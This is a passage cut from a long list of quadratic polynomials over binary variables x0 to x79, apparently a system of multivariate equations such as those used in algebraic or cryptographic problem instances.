x0*x72 + x0*x74 + x0*x75 + x0*x77 + x1*x3 + x1*x6 + x1*x8 + x1*x10 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x18 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x27 + x1*x28 + x1*x32 + x1*x34 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x41 + x1*x43 + x1*x49 + x1*x52 + x1*x53 + x1*x55 + x1*x57 + x1*x58 + x1*x60 + x1*x63 + x1*x64 + x1*x66 + x1*x67 + x1*x70 + x1*x71 + x1*x74 + x1*x75 + x1*x76 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x5 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x16 + x2*x18 + x2*x20 + x2*x23 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x31 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x57 + x2*x58 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x73 + x2*x74 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x9 + x3*x10 + x3*x15 + x3*x17 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x27 + x3*x33 + x3*x36 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x50 + x3*x52 + x3*x53 + x3*x57 + x3*x58 + x3*x64 + x3*x67 + x3*x69 + x3*x73 + x3*x74 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x10 + x4*x18 + x4*x19 + x4*x25 + x4*x26 + x4*x28 + x4*x30 + x4*x31 + x4*x33 + x4*x36 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x48 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x61 + x4*x65 + x4*x66 + x4*x71 + x4*x74 + x4*x76 + x4*x78 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x9 + x5*x14 + x5*x15 + x5*x17 + x5*x20 + x5*x21 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x31 + x5*x33 + x5*x35 + x5*x36 + x5*x37 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x50 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x70 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x7 + x6*x11 + x6*x13 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x22 + x6*x24 + x6*x25 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x37 + x6*x38 + x6*x41 + x6*x44 + x6*x46 + x6*x51 + x6*x52 + x6*x54 + x6*x55 + x6*x60 + x6*x62 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x69 + x6*x72 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x13 + x7*x16 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x25 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x42 + x7*x46 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x53 + x7*x56 + x7*x60 + x7*x64 + x7*x66 + x7*x67 + x7*x70 + x7*x71 + x7*x74 + x7*x76 + x7 + x8*x13 + x8*x14 + x8*x16 + x8*x17 + x8*x19 + x8*x20 + x8*x23 + x8*x24 + x8*x29 + x8*x31 + x8*x35 + x8*x36 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x47 + x8*x50 + x8*x51 + x8*x52 + x8*x55 + x8*x57 + x8*x60 + x8*x61 + x8*x65 + x8*x69 + x8*x70 + x8*x73 + x8*x74 + x8*x75 + x8*x77 + x8*x78 + x8*x79 + x9*x12 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x28 + x9*x30 + x9*x33 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x45 + x9*x47 + x9*x49 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x57 + x9*x60 + x9*x64 + x9*x69 + x9*x70 + x9*x75 + x9*x76 + x9*x79 + x10*x15 + x10*x18 + x10*x19 + x10*x25 + x10*x27 + x10*x29 + x10*x31 + x10*x34 + x10*x35 + x10*x36 + x10*x38 + x10*x40 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x56 + x10*x58 + x10*x59 + x10*x62 + x10*x63 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x14 + x11*x15 + x11*x19 + x11*x22 + x11*x23 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x31 + x11*x32 + x11*x33 + x11*x34 + x11*x35 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x47 + x11*x50 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x58 + x11*x61 + x11*x64 + x11*x66 + x11*x67 + x11*x68 + x11*x70 + x11*x72 + x11*x75 + x11 + x12*x13 + x12*x16 + x12*x20 + x12*x22 + x12*x24 + x12*x25 + x12*x26 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x40 + x12*x48 + x12*x50 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x61 + x12*x62 + x12*x63 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12*x76 + x12*x78 + x12*x79 + x13*x16 + x13*x17 + x13*x20 + x13*x21 + x13*x22 + x13*x24 + x13*x25 + x13*x27 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x34 + x13*x36 + x13*x38 + x13*x40 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x53 + x13*x57 + x13*x58 + x13*x60 + x13*x62 + x13*x63 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x74 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x22 + x14*x23 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x34 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x44 + x14*x45 + x14*x48 + x14*x51 + x14*x52 + x14*x54 + x14*x56 + x14*x63 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x72 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x15*x16 + x15*x19 + x15*x24 + x15*x25 + x15*x27 + x15*x28 + x15*x29 + x15*x33 + x15*x37 + x15*x41 + x15*x43 + x15*x50 + x15*x53 + x15*x54 + x15*x56 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x63 + x15*x67 + x15*x68 + x15*x70 + x15*x71 + x15*x72 + x15*x75 + x15*x76 + x15*x77 + x16*x17 + x16*x18 + x16*x21 + x16*x24 + x16*x25 + x16*x27 + x16*x30 + x16*x31 + x16*x33 + x16*x39 + x16*x40 + x16*x41 + x16*x45 + x16*x47 + x16*x51 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x58 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x29 + x17*x31 + x17*x33 + x17*x35 + x17*x36 + x17*x37 + x17*x42 + x17*x44 + x17*x50 + x17*x53 + x17*x54 + x17*x56 + x17*x59 + x17*x63 + x17*x64 + x17*x65 + x17*x71 + x17*x72 + x17*x76 + x17*x78 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x45 + x18*x46 + x18*x51 + x18*x53 + x18*x55 + x18*x56 + x18*x58 + x18*x59 + x18*x63 + x18*x64 + x18*x65 + x18*x67 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x18 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x27 + x19*x30 + x19*x31 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x44 + x19*x46 + x19*x47 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x58 + x19*x63 + x19*x64 + x19*x67 + x19*x68 + x19*x72 + x19*x78 + x20*x22 + x20*x23 + x20*x25 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x55 + x20*x56 + x20*x58 + x20*x62 + x20*x63 + x20*x64 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x78 + x20*x79 + x21*x23 + x21*x26 + x21*x27 + x21*x30 + x21*x31 + x21*x32 + x21*x35 + x21*x38 + x21*x39 + x21*x41 + x21*x44 + x21*x45 + x21*x47 + x21*x48 + x21*x50 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x58 + x21*x61 + x21*x64 + x21*x67 + x21*x70 + x21*x76 + x21*x78 + x22*x25 + x22*x27 + x22*x28 + x22*x30 + x22*x32 + x22*x38 + x22*x42 + x22*x46 + x22*x49 + x22*x50 + x22*x53 + x22*x55 + x22*x57 + x22*x63 + x22*x66 + x22*x68 + x22*x69 + x22*x72 + x22*x74 + x22*x75 + x22*x76 + x22*x77 + x22 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x31 + x23*x34 + x23*x35 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x50 + x23*x51 + x23*x52 + x23*x55 + x23*x56 + x23*x58 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x66 + x23*x67 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x75 + x23*x79 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x35 + x24*x37 + x24*x39 + x24*x40 + x24*x42 + x24*x43 + x24*x46 + x24*x48 + x24*x49 + x24*x52 + x24*x56 + x24*x58 + x24*x59 + x24*x60 + x24*x66 + x24*x68 + x24*x69 + x24*x70 + x24*x72 + x24*x76 + x24*x77 + x24*x78 + x25*x27 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x38 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x48 + x25*x49 + x25*x51 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x67 + x25*x70 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x25 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x37 + x26*x39 + x26*x41 + x26*x42 + x26*x46 + x26*x47 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x74 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x30 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x47 + x27*x49 + x27*x51 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x59 + x27*x61 + x27*x64 + x27*x66 + x27*x70 + x27*x71 + x27*x72 + x27*x77 + x27*x78 + x27*x79 + x28*x31 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x45 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x58 + x28*x59 + x28*x60 + x28*x61 + x28*x63 + x28*x65 + x28*x67 + x28*x68 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x77 + x28*x79 + x28 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x45 + x29*x46 + x29*x48 + x29*x50 + x29*x54 + x29*x57 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x72 + x29*x75 + x29*x76 + x29 + x30*x33 + x30*x36 + x30*x41 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x55 + x30*x60 + x30*x61 + x30*x63 + x30*x65 + x30*x67 + x30*x70 + x30*x71 + x30*x74 + x30*x75 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x38 + x31*x39 + x31*x40 + x31*x44 + x31*x46 + x31*x47 + x31*x50 + x31*x52 + x31*x54 + x31*x57 + x31*x58 + x31*x61 + x31*x62 + x31*x64 + x31*x67 + x31*x69 + x31*x71 + x31*x72 + x31*x74 + x31*x75 + x31*x76 + x32*x34 + x32*x35 + x32*x40 + x32*x42 + x32*x44 + x32*x46 + x32*x48 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x58 + x32*x59 + x32*x62 + x32*x64 + x32*x68 + x32*x70 + x32*x71 + x32*x73 + x32*x76 + x32*x78 + x33*x36 + x33*x42 + x33*x43 + x33*x44 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x56 + x33*x61 + x33*x62 + x33*x63 + x33*x66 + x33*x68 + x33*x69 + x33*x73 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x52 + x34*x53 + x34*x55 + x34*x58 + x34*x60 + x34*x61 + x34*x63 + x34*x67 + x34*x69 + x34*x70 + x34*x74 + x34*x75 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x45 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x66 + x35*x69 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x39 + x36*x46 + x36*x49 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x61 + x36*x63 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x38 + x37*x42 + x37*x43 + x37*x46 + x37*x50 + x37*x52 + x37*x54 + x37*x55 + x37*x56 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x75 + x37*x76 + x37*x79 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x63 + x38*x64 + x38*x65 + x38*x71 + x38*x73 + x38*x75 + x38*x78 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x46 + x39*x48 + x39*x50 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x65 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x50 + x40*x54 + x40*x57 + x40*x58 + x40*x66 + x40*x67 + x40*x70 + x40*x72 + x40*x73 + x40*x76 + x40*x78 + x40*x79 + x41*x42 + x41*x44 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x56 + x41*x59 + x41*x61 + x41*x63 + x41*x64 + x41*x66 + x41*x68 + x41*x69 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x55 + x42*x58 + x42*x60 + x42*x61 + x42*x63 + x42*x65 + x42*x68 + x42*x76 + x42*x79 + x42 + x43*x44 + x43*x52 + x43*x53 + x43*x55 + x43*x56 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x64 + x43*x65 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x56 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x66 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x47 + x45*x49 + x45*x50 + x45*x54 + x45*x56 + x45*x58 + x45*x59 + x45*x61 + x45*x65 + x45*x66 + x45*x68 + x45*x70 + x45*x71 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45 + x46*x52 + x46*x55 + x46*x56 + x46*x58 + x46*x59 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46 + x47*x48 + x47*x50 + x47*x52 + x47*x56 + x47*x59 + x47*x60 + x47*x61 + x47*x68 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x70 + x48*x72 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x53 + x49*x54 + x49*x55 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x65 + x49*x66 + x49*x68 + x49*x75 + x49*x76 + x49*x78 + x49 + x50*x54 + x50*x59 + x50*x60 + x50*x62 + x50*x63 + x50*x64 + x50*x67 + x50*x69 + x50*x70 + x50*x71 + x50*x73 + x50*x75 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x56 + x51*x57 + x51*x59 + x51*x61 + x51*x64 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x75 + x51*x78 + x51 + x52*x53 + x52*x60 + x52*x61 + x52*x64 + x52*x65 + x52*x68 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x66 + x53*x67 + x53*x68 + x53*x70 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x69 + x54*x70 + x54*x74 + x54*x76 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x60 + x55*x62 + x55*x63 + x55*x66 + x55*x69 + x55*x71 + x55*x77 + x55*x78 + x56*x59 + x56*x60 + x56*x61 + x56*x63 + x56*x66 + x56*x70 + x56*x74 + x56*x75 + x56*x76 + x56*x79 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x68 + x57*x70 + x57*x71 + x57*x73 + x57*x74 + x57*x76 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x59*x60 + x59*x61 + x59*x64 + x59*x67 + x59*x68 + x59*x70 + x59*x73 + x59*x75 + x59*x77 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x69 + x60*x71 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x68 + x61*x69 + x61*x74 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x68 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x62 + x63*x67 + x63*x68 + x63*x69 + x63*x75 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x74 + x64*x75 + x64*x77 + x64*x78 + x64*x79 + x65*x67 + x65*x68 + x65*x72 + x65*x74 + x66*x67 + x66*x68 + x66*x72 + x66*x76 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x73 + x68*x77 + x68*x79 + x69*x74 + x69*x76 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x78 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x74 + x73*x75 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74 + x75*x79 + x76*x77 + x76*x78 + x76 + x78*x79 + 1, x0*x2 + x0*x4 + x0*x8 + x0*x14 + x0*x18 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x31 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x45 + x0*x47 + x0*x49 + x0*x50 + x0*x51 + x0*x53 + x0*x55 + x0*x57 + x0*x58 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x77 + x0*x78 + x1*x5 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x36 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x65 + x1*x66 + x1*x68 + x1*x73 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x14 + x2*x15 + x2*x18 + x2*x19 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x41 + x2*x42 + x2*x45 + x2*x49 + x2*x52 + x2*x53 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x71 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x24 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x53 + x3*x54 + x3*x55 + x3*x58 + x3*x61 + x3*x64 + x3*x67 + x3*x68 + x3*x71 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x23 + x4*x24 + x4*x28 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x37 + x4*x39 + x4*x41 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x53 + x4*x55 + x4*x57 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x68 + x4*x71 + x4*x73 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x18 + x5*x19 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x30 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x37 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x53 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x62 + x5*x63 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x12 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x20 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x33 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x43 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x55 + x6*x56 + x6*x57 + x6*x63 + x6*x65 + x6*x68 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x7*x10 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x31 + x7*x34 + x7*x35 + x7*x39 + x7*x40 + x7*x44 + x7*x46 + x7*x47 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x59 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x74 + x7*x76 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x11 + x8*x13 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x65 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8 + x9*x11 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x25 + x9*x28 + x9*x29 + x9*x30 + x9*x32 + x9*x34 + x9*x35 + x9*x36 + x9*x38 + x9*x40 + x9*x43 + x9*x44 + x9*x45 + x9*x47 + x9*x49 + x9*x51 + x9*x54 + x9*x55 + x9*x57 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x73 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x14 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x27 + x10*x29 + x10*x31 + x10*x34 + x10*x36 + x10*x39 + x10*x41 + x10*x43 + x10*x45 + x10*x47 + x10*x49 + x10*x54 + x10*x55 + x10*x59 + x10*x60 + x10*x62 + x10*x66 + x10*x69 + x10*x71 + x10*x73 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x16 + x11*x17 + x11*x19 + x11*x24 + x11*x29 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x45 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x53 + x11*x57 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x71 + x11*x74 + x11*x77 + x11*x79 + x11 + x12*x13 + x12*x17 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x30 + x12*x31 + x12*x33 + x12*x35 + x12*x36 + x12*x39 + x12*x41 + x12*x42 + x12*x43 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x51 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x78 + x13*x15 + x13*x16 + x13*x18 + x13*x19 + x13*x22 + x13*x24 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x50 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x72 + x13*x73 + x13*x75 + x13*x78 + x14*x17 + x14*x18 + x14*x22 + x14*x23 + x14*x27 + x14*x28 + x14*x29 + x14*x32 + x14*x33 + x14*x35 + x14*x41 + x14*x46 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x57 + x14*x59 + x14*x60 + x14*x61 + x14*x63 + x14*x65 + x14*x66 + x14*x69 + x14*x71 + x14*x73 + x14*x76 + x14*x77 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + 